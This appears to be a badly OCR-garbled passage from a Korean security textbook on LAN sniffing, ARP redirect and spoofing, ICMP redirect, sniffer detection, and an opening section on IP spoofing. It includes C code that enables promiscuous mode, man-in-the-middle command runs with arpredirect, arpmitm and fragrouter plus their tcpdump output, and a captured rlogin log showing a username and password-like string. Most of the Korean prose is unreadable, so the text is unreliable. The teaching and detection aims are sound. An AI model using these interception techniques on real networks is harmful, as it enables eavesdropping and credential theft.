CSMA/CD¥ 2]

B
1

B
2

B
3

B
4

%7 6-2 CSMA/CD ¥2|
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£ % FEthernet Frame Format ¢] & ejo]t}. o]t]Yl LAN oA A& % d
olf = Yo ot ¥ o]y yld} IEEE 802.3 ] 2}

= 2w UEth

Preamble | SD | DA | SA | Length ?':": sesws|{ PAD | FCS
y \ J
% v —_
' ' N byte N byte . |
1526 TEAE T TTBAE GhytE T GHE T Z6yE 1500byte N 1T
byte ‘ ;
N byte
Data Data
Preamble DA SA Type Fletd """ %  Field FCS

13 6-3 Ethernet Frame Format

® Preamble:o|E U] ¢ F7|stet Zeqlo] A& miAsty] 98] At
& 7 FE2 0% 19 WHRow A

® Start Delimeter: =~ #]|$1 S| A2t 3EA|

@ LA F: xy oS Wl A o] E A Unicast, multicast,
broadcast & A% 71531, 48bit T+47F dHbH o g2 ARg-H

o =1 F4: THols Hule ZHlA B4

® Length(IEEE 802.3): Data field ¢] 2 ]

® Type(Ethernet):Data field | 4] ¢+% 3}% = high-level Z2EZ H|o|H
FEA]

® Data: Z@|dol|l EAE AH, Ho 2 d Alo]=+E= 64-1508byte ©] T}
gk il glo]B7F 1508 Euk B 2 A, S Eo]o(ERALE
dojool A HlolHE X3k Alo]==2 Hasfof dt}(fragmentation)

® Pad(IEEE 802.3) Collision ©] &3] 7}A] 7}53k HAske] X<l
Atol== 64byte o|t}. RESF Q] Hlo]EVL olHTh 1 A& A Z
d o] thA] wrEo]A F=71E ) Data 9F Pad field = 24 46byte ©]
go] oo Frt.
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® Frame Check Sequence: A& o8] A&, %A =4+ CRC(cyclical
redundancy check)E G383+ &, 235 FCS o] A7slofof s},

A2 FAhAe 22 A BAS 42388 3 FCS field ¢ W] al gk}, whek

6.3. Sniffing 2 98

6.3.1.

Sniffing 2| 22|
LAN oA 78 s 2EE -85H7] 93 oz ojgyl QlE o]~
= MAC(Media Access Control) 45 zHA| HuB, BE oyl QE H 9|
29 MAC &+ A2 vE e zaut. mebd 224 YES 243

N 7t 7o) saER g pEE S

a4 olE Yl Qe F o] A(LAN 7+=)E 2419 MAC address S 2HA4] &
= EdEE FAsE 2HY 7S 7HAAL 3k o] Y YleE A

Alo] MAC address & 717 EZJETS BHE= St}

(

Ea oy ddEFolxol ] BE BN B 5 RS st /5 A

A8t =% ¢l ©]= "promiscuous mode"} Frl. AU E o]yyl <l
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HholZol A Hr) o]yfst U HS &2 A5 ethernet QE H o] 204
o] Foix|=Hd|, o] u] ehternet 1 #Ho]|~E 'promiscuous mode'= %3}
W ethernet Q1 E]H o] 20 T23}= Exle] st AEYS 1% & &

ol Eolth, wheba] LAN AolA @avbs BE EA1S dhol5olA A}

B 2L o aky] WEo] 4P sTh mebd, o hef o

(=233 6.1] GetPacket.c

#define IFF PROMISC 0x100 /* EE HI& FAlgdTh. */
int openintf (char *d)
{
int fd;
struct ifreq ifr;
int s;
/* socket A */
fd=socket (AF_INET, SOCK PACKET, htons (0x800));
if (£d<0) {
perror ("can't get SOCK PACKET socket");
exit (0);
}
strcpy (ifr.ifr name, d);
s=ioctl (fd, SIOCGIFFLAGS, &ifr);
if (s<0) {
close (fd) ;

perror ("can't get flags");
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exit (0);
}
ifr.ifr flags |= IFF PROMISC;
s=ioctl (fd, SIOCSIFFLAGS, &ifr);
f (s<0) perror("can't set promiscuous mode") ;

return fd;

e

Sniffing & ©] §-3H 97 ZAEA A& A ololtst MUMEE 7}
B 57} Gk o218 oldYl el A HlolEhE ClHEiES o
2 F2EoA] et 1 sESE A9 HelErt ohw
o e, el Holed TR e ol of® AL shA| Ak,

gl AR V2o s 2] At s dAEo] gtk

b

feita)
Ml
1
¢

Zdd], o] 22U E EA HW ARl Al2Ee] QlIE o]l A7 dfal,
obF- ALt WrolZo] Al Hrt, o]l gk ®=E promiscuous mode 2}l gttt
qheF zpAle] Al 2-¥lo] promiscuous mode = EoFtobH Y37} FEolrf
oAk o4l &) Bk g

HE AdHYA Hol B F e AU %9 telnet, ftp, rlogin, email
59 A& 128byte & FobA log A= U ol 2YHE ARSE

g
7ol A AASHARE o] ANE Hskar £2 A = EI e d=

AR Azge] AUnE X8 FUAN A ErdEAE @ A

& 3H& Aol Itk LAN AelA 7 s2EE str] 3 Mo

il

ol ul QA& H o]2~= MAC(Media Access Control) 45 27| &1
oty ol o]~ MAC F4E A= tE s 25yt s =

~
A e 7 7o saEr fde PEE & o

=
—I—U -

-
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6.4.1.

Cweby e dEg e AFEHE e AFE

a9 4% Askd g vk 1A olHHl IE H o] ~(LAN 7H=)E =
219l MAC address & 2HA] @+ E9S T2l 2HYE 755 7HA
I 9t} o] EH 7]%& Aol MAC address & 717 EgIwre B e
= gt

L oyl Aol BE EYIS = 5 UEF e Ves A

A "tk 291% FHe 24 VESAE oY o AIaUER Yo

4 Egs =T 4 gl @k shA| W Switch Jamming, ARP Redirct

L} ICMP Redirct 2] 7S o|&3to] & UEYA A2UES] Ho]

Lo FHO AYAEL F4 HolEo] S5 HW(Ful) ZE UEY
vREAAYSHA dn) wEa FARE fxd
MAC F45 A&Ho2 YES A ZHoRA 294 3 F4

I AIHER EfE

18
o
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olES QHERES AA UE HEY]A ATWUES HolHE AYg &

ol B Agle] &l “Fail close(A 2=Flell ool & 49 HetV]s
o] FEsty = S WAt de)’E wEA &) wige] T =
AAES M Betnohe 753 45 952 HAel Hol ok

&< arpflooding &24S & of BAs= Yol 2] arp HFH S tepdump
& ol&3ste] H&loltt. AR} whEold olH g 9o arp |79
MAC F4e 29129 F4 HolEs LHEZES AI7IA dh

[B}H 6.1] tcpdump & EHH

[root@hackerslab /rootl# tcpdump -e arp

tcpdump: listening on ethO

07:44:23.898915 79:94:74:11:d7:dc bc:47:d8:7b:31:51 arp 42:
arp reply 82.195.6.82 is-at 79:94:74:11:d7:dc

07:44:23.898954 b8:29:3:9c:9e:5c 3f:cf:9:70:fa:14 arp 42: arp
reply 204.227.135.56 is-at b8:29:3:9c:9%e:5c

07:44:23.898991 5:6f£:25:db:4b:76 97:a0:d6:c7:f1:8f arp 42: arp
reply 158.81.199.91 is-at 5:6f:25:db:4b:76

07:44:23.899027 £0:£4:2c:8£:50:f7 a6:ca:21:al:dd:26 arp 42:
arp reply 114.215.48.176 is-at f0:£4:2c:8£:50:f7
07:44:23.899063 10:3:1:5b:78:9f de:d0:b:d0:60:fa arp 42: arp
reply 171.63.250.67 is-at 10:3:1:5b:78:9f

07:44:23.899099 c4:8c:89:15:83:fb 7d:cc:32:5b:f2:42 arp 42:
arp reply 235.178.172.145 is-at c4:8c:89:15:83:fb
07:44:23.899136 5d:£2:9d:d4:92:49 5d:95:c2:bd:8£:86 arp 42:
arp reply 19.140.139.241 is-at 5d:£f2:9d:d4:92:49

07:44:23.899172 49:19:9a:cc:14:85 8c:49:56:7e:8b:b2 arp 42:
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arp reply 127.191.23.251 is-at 49:19:9a:cc:14:85
07:44:23.899209 71:28:86:3:70:99 90:4e:aa:20:d3:f2 arp 42: arp

reply 143.251.139.236 is-at 71:28:86:3:70:99

ARP Redirect 24

w2 AAFA o] ARP Protocol o] thale] Aw3ic) IP "ol 1o IP
FA4E 32bit FERE Ho] Qi oyl FAMAC T4)= 48bit o 7]
E zt=t g8 SAER fip U telnet 53 2 UEYT 945 3
A= Ao T2EQ olgyl FAE dotof gt F, AFEARE TP
FAE ol&st] A4S sHAN ol Uil = oty F4AE o] &8
ok o] & fldte] IP F4E oYl FAR WMEAA Folof dh=d] ]
= ARP(Address Resolution Protocol)@} 3tt}. 1e8]a1 1 o A S
RARP(Reverse Address Resolution Protocol)@} 3t} ARP & o] &3}o] Aty
T2E9 ofYl FAE Yol AALS v Aok

o WA UESAYS BE FA~E] "ARP Request'gtil E2& o]H Yl
selole wulth AASuA} S EAEY P FAE T ARP
Request &= olEjulAte] RE T2 SAELA "o] [P F4AE ALES}
T Z2EE YollA s=dlo]l FaelgYl FA)E 4T
o & Zt=

® ARPRequest 2 W2 3 2E F &|F I[P 2 ALE3lE TAEE #al9
St=9o] =40yl F£4)E ARPRequest 5 HWl T AEoANE B
=4 ==t ©]E ARP Reply 2}aL gt}

® o|F T TAEZTFS] F(fip, telnet )< flst] e ol F

AF23HAl ¥ ™, IP datagram = $5<=AISE 5= LA €},

N

T

Y

il

ohe

[

28 ARP Request ¢} ARP Reply ¢] #4& HolF1 gt}
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[

ftp, telnet
®

Ethernet Broadcast @ l
afrrrssssnsrnnnnnnnnnnnnnnnnnsWa

—
N

:

. i |
ARP Request : vHH”hﬁﬁb g
ARP ®
v —— v v
- B L)

33 6-4 ARP Request 2} ARP Reply 2| A

2o AARE 172.16.215 H TAEA 172.16.2.26 1O ping & IS
A% Yeb= arp EdFo|t} arp request/reply & 133 F T AEE
o] MAC 45 2h2H9] arp cache o] A174stAl |k, whepa mpx] )

Ol A 172.16.2.26 H T2E7} 15 T AER echoreply & H{d w&=

arp request/reply #8<= XA eFolx Hrt
[3}H 6.2] arp EcfE Zx}

[root@hackerslab /root]# tcpdump -e host 168.188.128.146
tcpdump: listening on ethO

18:16:25.880837 0:0:e8:76:e8:bb Broadcast arp 60: arp who-has
168.188.128.146 tell 172.16.2.15

18:16:25.881021 0:c0:26:27:b:1c 0:0:e8:76:e8:bb arp 60: arp
reply 168.188.128.146 is-at 0:c0:26:27:b:1c

18:16:25.881243 0:0:e8:76:e8:bb 0:c0:26:27:b:1c ip 74:

172.16.2.15 > 168.188.128.146: icmp: echo request
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18:16:25.881407 0:c0:26:27:b:1c 0:0:e8:76:e8:bb ip 74:

168.188.128.146 > 172.16.2.15: icmp: echo reply

"ARP Redirect" &4 Z¥ arpreply S HUl= WHS ALS3 S
AR TAET "ol MAC 471 219H 9 MAC F4olti'gts 9%
=

H arpreply & HEEAZER YEYI F713 0

lo
_OL
2

o

ARP Protocol specification ©f 2 17] cache o] Astar 1= 1P 9l
)3+ ARP request = A5 S AEE ARPrequest & Hul T 2EQ°
MAC 4% cahe ol Hlo]|E &tAl vk vpe} vk 18] o]
cache &] HI°|E 7|52 arpreply ol = -85 o=z Holn, 9|9

4] 4T & Y& 8900l Wrh AW A2 met g S5 9

olW] 37 F~EX IPForwarding 715< AAstolo 34 S 12ER O
+ EE EYES A9 AolESe]E Forwarding 3ll& 4 Ut 18 A
gfom R 2 UYrts BRE UESA A4do] FojXA Hrh

052 "arpredirect"2te &4 RO R FAFPS ul YE A
UE= arp WS tepdump & ©]&3ke] 32 EFolth w40] £

L A9 arp S BAste] YENDL Ado] BofAH REE 3

Ol
kd

ol
%
[8HH 6.3] arp packet 8] 2&

[root@hackerslab dsniff-1.8]# arpredirect 168.188.128.146
intercepting traffic from LAN to 168.188.128.146 (~C to

exit) ...
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restoring original ARP mapping for 168.188.128.146
[root@hackerslab dsniff-1.8]#
[root@hackerslab /root]# tcpdump -e arp

(FAA T2E7} F9H=E /HEstE 34)

Aok 2L $4Z oA HYE vE EE o 3

H= QAsta i 2 ddy«e BE EYEES 34 S2ERE HujA &
=4 olu FAAE= v o] IP Forwarding 7|55 ©]-83le] <]
XA 2 %S Forwarding 3okt U EY A7} HEAXR] ZA= I, &4

A AUt A2e 2498 @ 5 o,

(3t 6.4] IP Forwarding 2&

[root@hackerslab fragrouter-1.61# ./fragrouter -Bl

fragrouter: base-1: normal IP forwarding

172.16.2.15.1297 > 203.233.150.11.23: . ack 390289256 win 7636
(DF)

172.16.2.142.1287 > 203.233.150.11.53: udp 36
172.16.2.142.1288 > 210.116.114.147.80: S 13774318:13774318(0)
win 8192 <mss 1460, nop,nop, sackOK> (DF)

172.16.2.15.1297 > 203.233.150.11.23: . ack 390289317 win 7575
(DF)

172.16.2.15.1300 > 203.233.150.39.23: . ack 1685228460 win
7865 (DF)

172.16.2.142.1288 > 210.116.114.147.80: . ack 97085742 win
8760 (DF)

172.16.2.142.1288 > 210.116.114.147.80: P

13774319:13774505(186) ack 97085742 win 8760 (DF)
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6.4.3.

ARP spoofing 34
ARP redirect &} B3k 372 #hHo 2 2 AIHEY EA5E T AE
el Efus ~ugstazt @ o AR ETh FAAE A4S MAC T

A5 2YFE A st T T AES MAC 42 43 arp reply((:

ol

[t
o
H
2
4=
i
=
AN
v
o
o
i
Y
o
=
D>
)
N
DN
)

+ request) F|H S U
sugsug e
ZE A HuUlA Hr.
ol2] g arpreply & W2 F TAE+= A9 arp cache & ATIO|E 1A
Ha, 7 E2ETR AAo] dojd wf FAA $2E MAC 48 Al

golA Ak A% F saEgte] RE Edde $ARI} A 41w

-
v
2
o
o
=
o3
o
=7
=
g
of{
N
<)
=
B
L
N
fetl
o
N
N
m o fole
[»
[m
il
juiny
2
to
rir

022 "arpmitm"o|2HE ¥4 T 21| o]8-3}9] 172.16.2.15 9
172.16.2.18 H T AEZFY] EgES 24 ]

A2l YEy= arp #Z2lS tepdump & ©]-835ke] FH2 EGolth

ofl
QL
N
do
o,
ox
)
¥
ifle

L

r

[2FH 6.5] tcpdump A8 ST

[root@hackerslab tools]# tcpdump -e arp

tcpdump: listening on ethO

o

(AR TAEV} Target 2ER 7FFstE 57)
([0x0]: Sending mitm to: endpoint-1 endpoint-2 o d|F3st= HF)
16:38:30.915146 0:50:da:d3:1f:d3 0:c0:26:28:f9:c7 arp 42: arp

reply 172.16.2.15 is-at 0:50:da:d3:1f:d3
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6.4.4.

6.4.5.

16:38:31.225158 0:50:da:d3:1f:d3 0:0:e8:76:e8:bb arp 42: arp
reply 172.16.2.18 is-at 0:50:da:d3:1£f:d3

([0x1]: Sending mitm to: endpoint-1 endpoint-2 o] d|Fst= HA)

Az 7S 718 o2 HUE o|f- Target £~E 9] arp cache &
A&A o7 fQFxstr] fIiA ot

ICMP Redirect 24

ICMP(Internet Control Message Protocol)+= HIEHY A o8] WA A= A%
AU MEAA 552 FA6] 913 ZeEF1d ICMP Redirect =

ol 2usg & o = ol EAH.

A2 X2 span/monitor port & 0|8t ALY
o] HHL A9 Ao 9 monitor EEE o]&3to] AU &= W o)
t}. monitor LE& A~ E EsE= LE Es B2
HES A dgE 9 o] 2 AoAw 3447 Edjgas 243

S 2o P4 AT

pA

(A}
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6.5. Sniffing 2| & Mof| Clisk ci=y

6.5.1.

Tool £ 0|&%t ghof
promiscuous mode 1A o} =] HALs= fFEo] Slth epm(check
promiscuous mode) ©]2+= 7 o]t} fip://cert.org/pub/tools o 7FAH -
3HA 4= At} X3 rlogin ©]U, rsh thlol AR&3E 4= Q1= ssh, slogin ©]
Uk o] AL HAE G5}t A AEFSEE sniffer o FHTE st Eke
ke
18]3L, S/Key 2hi= A o] QUth oA 94 SAER ol qlolA
one time password & A3l £k woll, sniffing ol = o= A% )3
T AT 23 g ginith A eT M, RS A Ko
o kA ZFale] s 29 =S sniffing G T St et vl w9 =
] Fof] BAE AL ¢l EAE v g AYgsr) vpEo s Aol wa

[8tH 6.5] cpm Al¥ 3tH

-- TCP/IP LOG -- TM: Thu Feb 15 11:21:16 --
PATH: XXXXX.XxXxXxXX.ac.kr (1023) => xxxxx.xxxxx.ac.kr(rlogin)
STAT: Thu Feb 15 11:22:41, 163 pkts, 128 bytes [DATA LIMIT]
DATA: guest

: duck

: xterm/9600/7

(255) (255) ss

: "X

3 P

: dhlfldkssud

: duck
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6.5.2.

MEEO AR SRR

: NLST

: QUIT

sl

B WRol slov 7

frd)
(m
__\LE
Hu
X
o
o
oft
ol
o)
[
i
o
o
9
o,
,
o

}
= 3.3} sh= Boltt. dHolHE st A =
U3ds steets Wes B 4 ¢A ®th SSL, PGP 5 SlEYl HoFS 9

St B2 dost ZREFo] EAST

o}
>
[-'1:1
e
i
i,
1o

o TrEF FA, AHE o, 45 ool
of FA= Qlste] astE AHREE ¢ gl A9 ®el e, ofdl
B 7 AU s4e oHES UEYAE dAsa delsteof
gty 53], goxy, AHUHCIHAE(IDC) 53 o] o dA7E &

AN
e MESAE TR HFoINE 2uForrele] wek g vl

a2
o
il
o
iy
ol
ol
rlr
ol
o
o,
%0,
Bl
o,
Ay
)
L
iy
flo
off
ol
ol
2
—r
N
N
i)
i
__\lg
[
il
K

SSL
dostE AMFYS 7HskAl sl SSL(Secure Sockets Layer)> 22 )
A el Beke-A o] FaAE ] k. 1eal gl AAPEAY Alo]Ee

W&ol A87E ANE W 0 AHgE
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6.5.3.

PGP and S/MIME

AZF A (E-mail) =3 B WHo® 2UFHa itk B YU S o
Fe A EUHEE F% Jlon, Zk dgE 5 vk dAMdSs B

Z3t7] fgk 7 ke WS wWdS g5 sk e, 7 o

A1 W2 PGP ¢ S/MIME & AF&-3HT} PGP = add-on A|#F S = A}
&5 lom, S/MIME & A 2] F-wo]

ssh

ssh(Secure Shell) & 4y Al A"l ¢35 3ty 21918 ATt AFAA
FFo 2 AEEa At} telnet tiAlo] WH=o] ssh S AF&3Fo]of 3o},

ssh & Algste B 37/lE =750 &4 gt

VPN

VPN(Virtual Private Networks)> Q1EJ Yol A o ste EES A&t
ol A F VPN & A3t Al2=do] 7 9dd Ag-d= dost 7]

ool dolElt 21 B £ 9
£98 gel UEYI 7Y

297 & o &3te] Q3 Aol wpet elw Aeshe dolelel wet A
TWES PRl MEAIE FAT 5 Aok 294E 2d9e AL

3w RE NIOWHER HR U AAE X &3 dY AIHE T AY

SRR AU HHE ALgsE Aun stk shAw %A w2
9% BelAe] 2 Al 2o FAL & 4 Ak £ 2L A

G, 29129 F4 Hol &S static kAl A sk "~
AR BN 2g"S e g = WEel vk ofeeh o] &4

1ol z} X E t|ste] MAC T4 % static(permanent)d}Al t]-5-A] 7]
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ARP spoofing, ARP redirect 9] &24S& 2S 5 o) olgh ¥HS B

et W Al AR

E 6-1 Switch Table & Static 22 MH

IE MAC F=4&= permanence

1 0:60:2f:a3:9a:16 Yes

2 0:60:97:c4:f:3e Yes

3 8:0:20:79:c9:ea Yes

4 0:60:97:c4:f:3e Yes

5 0:a0:24:28:c4:47 Yes

AUH Ex|
BE 24 e UES A QIH#H 0]~ F "promiscuous mode" = Al A 5]

HWESIZE =438 €l webr E2~E7} "promiscuous mode"= A A
Hol A=A FrIHem FHste] 2Ysrt APgHa s A2Es
stofof drh. 2Usd 7led riHAl R 2USE gA6e R A%
3} %31 9t ths- "promiscuous mode"= G EH A|~E-E §HA|S)
Wl tiske] Aweit) ool iy WHES T2 24 UEYA
ol A B4 7k &k ot

R

A]

Ol
rir

=]
=

S
-
Q
o
o
_O'L
rr
0%

5] AU Al TCP/IP ~8to Al 52hel7] w]io] request =
o] 3|23} response & H&3A AT ping & o] &3 =15

1
B2 WS oA o] = Al&Hlof A ping & Hul=d MAC 45 9%
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® MAC F45 flxstol(22d UES A SAeHA] &= MAC 4 A
$)3}e] ping(ICMP Echo Request) S TFE A|~Flo| Al BT},

® ok ping reply(ICMP Echo Reply)& WAl ¥¥H, 3ld S 2E7F 2143
< stal ol Aolth kst EAEHA B MAC 45 ARSI

o] A~YE S A % TAE+ % pingrequest & B 5§l
A =™, reply & 3H4] A Hrh

| a5 1)

| 1 IC \IP ccho reply ‘

L} - i !
%' P
N fb - /l,

o 0:0:c0:61:2d:44
0:0:¢0:6:2d:36 e /
TR

IP : 10.0.0.1
MAC : 0:0:¢0:61:2d:40

38 6-5ping & 0[83t0{ A4d EX|

ping W FAFSH WH O 2 non-broadcast 2 913 % ARP request & X

WS w ARPresponse 7} @ AtH & ~E7} "promiscuous mode" =

U LRI ALgAe] BelE st AW E Axw

=
o IP 45 HoFA & =v?l vldds BojF=7] 9|&to] Inverse-
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DNS lookup & &3tA] ®t}. webs DNS Egigs A sto] 24¥E

= A=
g2 =

‘jll
o},

%0,

o]

flo
4o

47 Et 27 YEYD B4 & 5 ot Pl 97

A H

P
Iy
=

F Y ESIAZ Ping sweep & H Ui, £°] 2+ Inverse-
DNSlookup & #Alste] 2UHE BAD F vk 2404 & Ao+
Ax¥ IP 42 IP datagram = H U3l o] t)dt DNS lookup ©] S+

AR
A gAste] 2URE g 5 Aok

[»
i
&
il
>
o
gﬂ
rlr
ok
N
B
rlr
e
L
iy
o
fetl
>
oo
B
S
K
&
[»
__&

= .
s wHs

host method

.

S 2E ¢4 "promiscuous mode"ES 2Heldt= W © & “ifconfig -a"
HH S o] gste] g21d 4 Q) tha9 Aol A "PROMISC" H-#+&

.31 "promiscuous mode"7} A Ho S & F 3
[2tH 6.] ipconfig 2| Ol &

[root@lotus]# ifconfig -a
eth0 Link encap:Ethernet HWaddr 00:50:DA:50:1C:D3

inet addr:172.16.2.31 Bcast:172.16.2.255 Mask:255.255.255.0
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6.5.5.

UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:538138 errors:0 dropped:0 overruns:0 frame:0
TX packets:317739 errors:0 dropped:0 overruns:0 carrier:2
collisions:251 txqueuelen:100

Interrupt:3 Base address:0x300

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:3924 Metric:1

RX packets:40 errors:0 dropped:0 overruns:0 frame:0

TX packets:40 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

HEe3 2l

opd Arrhsl ol 2URE BAT £ we whge] EAsh Ea

)% FA FAHE £V} Uk MEGD BelAE ol F ETE o §
F/1HoR 2Une AA AR NGO ARERE F7

AE el ool UiF AbgAbE BAE 4 T T obA AH
t & =

X
4L gAsed e

(

il
+
%2
(e
@

R

ARPwatch

ARP Efj=S wUEE3le] MAC/IP WjAS ZAsts Zaadlon %
71 2% ARP <l E ¢ (ethernet/ip addr)7} HalA @ o] S ©x]&}o]
A A AR SR Fv= Eolth gFite] TA7|Hel $1x%

ARP & AFE3t7] Wi ol A §AE & Aot o "arpwatch -
d"E A33sle] %7] ethernet/ip Fol st dlo]EH o] =& W= Aol
o] % "arpwatch"& 3t Al =W F7tE A W == ethernet/ip &l
dste] HWAdS ot s FAEY. Bt Wds $5te] ARPE

o]%}%

14
of
)
o
o
N
ol
kl
2 0k
o
9]_{([
b
o,
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Sentinel

Sentinel = A AW ~UHE A= WHE 7AS =70tk 47}
A W og ~YsE 9A T 4 gl=tl °]F "ICMP Ping Latency test(-i
FA)E o] FHEEXA gkt MEY T B UF EYIY] &

ST2E tiate] o9} T EE ARgste] FUIH R AUvrt A
AE o] d=A Al Kotok g, re]al 2YHIE AAld Aem o4

P
T

L BTE SRS solok gk A28 B4 L 23] gME g 7]

(It

o] 7te TAELE AAD 4

o=

sha ok H9E FaAe APl

il

l

R4

Fi

[ —a ARP test ]
[ -d DNS test ] (requires -f (non-existent host) option
[ -1 ICMP Ping Latency test ]

[ —e ICMP Etherping test ]

£ 9 gentinel & ©]&3te] ~AYUHE B3 do|t}.

[8lH 6. ] sentinel 2| Al sHH

# ./sentinel -t 192.168.1.2 -a ; arp test against 192.168.1.2
# ./sentinel -t 192.168.1.2 -e ; etherping test against
192.168.1.2

# ./sentinel -t 192.168.1.2 -f 1.1.1.1 -d ; dns test against
192.168.1.2

# ./sentinel -t 192.168.1.2 -f 1.1.1.1 -d -a -e ; all of

promisc detection tests against 192.168.1.2
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6.6. 1 A=

® Progressive Web Group COOL4U http://www.coolqu.co.kr/

o AR KETZETY, http://www.certcc.or.kr/

® GNU HACKER http://gnuhacker.com/

® Robert Graham http://www.robertgraham.com/pubs/sniffing-
faq.html/#detect

® AZoisha, A*¢d http://admin.snu.ac.kr/Docs/

® 3|7 2= http://www.hackerschool.org/

® H73] -4 & o}, http://www.superuser.co.kr/
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7. IP Spoofing

7.1. IP Spoofing 8| 7|

IP 3ol gh [P &ol7|gh Sfujo|t}t, =, B2l S AEQL AFAAE HaL
2 32ER IPE £94 o7k AE vt oS FAH
DA}, TCP/IP 22 EFo AAe] Ao R QlajA dojube=
olt}. w] wbgde] TCP/IP Z2EF X2 197949 JAHYS T35}
] SleiA gl H At 7 wol 2ol TCP/IP & 4.2BSD A] 2 Eld]
# A2 = Bell Lab 7 WA U[E LA AL-8-5 ST} 4.2BSD

1
s

o

o o

of{
o Ry

O
e}
¢

N

3] =

X
el

2 TCP/IP Z&19L % f5Z ol AL§3t7] A ehx|nt Het=
Aol = B2 e 7HA AL vk o] A9 styE s4sk= IP
Spoofing Attack & 1985 Y1 Morris ] 2]3}o] ofolt]o 7} A& X4 = AL
A A2 1995 W= San Diego Supercomputer Center = 3} 7J &}+=4] Kevin
Mitnick ©] A}&3}7| % 3} t}.
Spoofing °o]& & W= A4S BRQlolyt thE Al&Hol Al Hol= e
= ou]dit}, o5 B0, 5EA TAEAT FES Fual HAHAS
T A= FAs] Aol 5 SAERNH HTstee AAH £old
& sleln, o]& 7he]7A whE Spoofing °l&hal & 4= 9= Zlolvh. shAIN,
Spoofing o|=t A /NE FAME FH3] 7|=4< 8 4AE QR s+
Hofolm g2 ojuwldt FEje Spoofing ©] 7Fs3dlH, o] Woldh & U=

e FEoRes Aud sl AdeAE A7IM AuEES s

o

®

=3 IP Spoofing ¥rte] ofyg}, ofgo A A& DNS Spoofing &< %
A A<l Spoofing & TCP/IP EZZEZF Ao tat 7]E A2 2|2 glo]+=
ol 2t A 7} E7Fs st Z TCP/IP o thdh oFzte] A S tldoirbm A
HE7]2 sHth
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TCP/IP 2| O]

7.1.1.

2EZEA, JEHYol} g

]
<A
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p—

)

TCP/IP &= 1E{Yl9] 7]

LS

=

3

71 <

SR

15, o
HITE] AREAbe HA A

P2

S|
=

2ol

3

u] TCP/IP

&
2E

v
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H=

]

TCP/IP

A

7
R

[e]
e

19]

A
vl
Al

i

]

2 7l1¢] AlFo=E o

oA A g

T

TCP/IP

i
el

(s

ol

S
s

2]

dl, H

]

Pz
s}

T

gl

5t

o

2

T

t}. TCP/IP &

i

8

tol, MIEY A ot HAFEH )7}

uUE o] A sE AT

ol A=/ N RS ALS

=

=L

o ol
A A (E ol AE)] Tl TS

LIE R

-

T

LR

=
=

-

MAA7E ele Aol SR e vl

TCP/IP

s

glo]AE9 g7} o]

=
=

}-

Z}

dl, o=

T

-

o]

=

=

2] 2~ (connectionless)"g}1l &2

H)owiy AdEo], e

TCP/IP ¢} TCP/IP

o
B

Uy
<

h 8

g}k (A TCP Al

Hoz 7ol glojo}

s
=

gz, Addg st Y
o] gFoz AT 5 Y

R
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A

AT (LA 3B B3 ) A
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http://www.terms.co.kr/Internet.htm
http://www.terms.co.kr/protocol.htm
http://www.terms.co.kr/intranet.htm
http://www.terms.co.kr/extranet.htm
http://www.terms.co.kr/extranet.htm
http://www.terms.co.kr/message.htm
http://www.terms.co.kr/TCP.htm
http://www.terms.co.kr/packet.htm
http://www.terms.co.kr/IP.htm
http://www.terms.co.kr/clientserver.htm
http://www.terms.co.kr/point-to-point.htm
http://www.terms.co.kr/host.htm
http://www.terms.co.kr/network.htm
http://www.terms.co.kr/path.htm

S 1 AAE oW g wHAAE #AHY e 3 AV 2Tt ol e
o frojaoF gtk TCP H&2 oW gk wA| X0l &3l BE 7l E9]
TAE WA A FA .
22 oY ALgAtE5o] TCP/IP & o] &3l= ASAE &8 TR EFO|
s 2 da Q) o2 s AYASE TRES = ¢ AH] 2o AR
¥ HTTP & H|Este], de] "4 = dAAY AFH =1 &
% Telnet, 18]35 FAAFo] AHE= = FIP 9 WY 2
SMTP 5o°] ¢t} ol83 TR EFEL £ TCP/IP ¢}

TCP/IP ¢} #&o] Q& ZTREZR UDP 7} glet, o]AS Mgl 23
S 98] TCP thilo] ALg-== Aot} 2989 AXE wdstr] 9 U
& Abg¥= X2 EFo= ICMP, IGP, EGP, L

[

AFEALo] o] AEHUEY o] o]Fo] A wo] Q31 7}

El:‘
TCP/IP 71| Fx+= ofefo] yy} g2 Fx5 9k
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http://www.terms.co.kr/HTTP.htm
http://www.terms.co.kr/Telnet.htm
http://www.terms.co.kr/FTP.htm
http://www.terms.co.kr/SMTP.htm
http://www.terms.co.kr/package.htm
http://www.terms.co.kr/PC.htm
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MEBOH ALF SRR

0 4 10 16 24 31
SOURCE PORT DESTINATION PORT
SEQUENCE NUMBER
ACKNOWLEDGEMENT NUMBER
HLEN |RESERVED |CODE BITS WINDOW
CHECKSUM URGENT POINTER
OPTIONS(IF ANY) PADDING
DATA
0 4 8 16 19 24 31
VERS I HLENISERVICE TYPE TOTAL LENGTH
IDENTIFICATION FLAGS|FRAGMENT OFFSET
TIME TO LIVE| PROTOCOL HEADER CHECKSUM

SOURCE IP ADDRESS
DESTINATION IP ADDRESS
IP OPTIONS(IF ANY) PADDING
DATA

a8 7-1 TCP/IP #ZI1t=

9)e} 7ro] A}A1e] Source IP F2x(32bit)9} el s|H o] w=rafof &

Destination IP =22(32bit) & HIA S &

X2
o

o]

oY

dux 07 TCP TREZFS o] &3] An]/ZFlo]

re
ful

Al o]
oA 7] A= oot B MaAe] AAE AAoF sl

lo

5 3l0] o] 5
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Seq=X
SYN
ck ACK=X+1
s\(‘“h Seq:y 3
T Ack= ACK
Y+1 \
Client Server

d3 7-2TCP ZEEZ°| 3 Way handshaking T4

=, 919 2"l A9l Eo] SHpoldERTE A et FAlo 57]|5E
913l SYN #jzle] Ag=m, An e FetoldEYE Bl SYN #1719
ISN(Initial Sequence Number)2] #toll 1S Yl Sgto|AEof A
SYN/ACK #j7-& Eulth. o]Al, Sepo|AEE A7t 22l 57138 87
o SHEe & FRsIeS ACK H7l& B oM Anjo delFm,

JABIZEe] Falo] Az

o
Ll
mi
o
fr
)
fru
o
gl
)
o
re
Il

7.2. IP Spoofing 2| &M

7.2.1.

TCP/IP 2| HAY EH

TCP/IP T2 EZe T3AIS] Ao Batar 1 AAe 2o
1
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Berkeley & ‘“r-utility'E°] ©A Q1 4ottt &4 ¥ % (sequence number)2]

=

A
A A7 2AJH, TCP =¥ = A4 HE7F 23 250,000 11, =
4 microsecond vt} SHHA ZIIA 7| == slar Q). 212 u, Berkeley ©
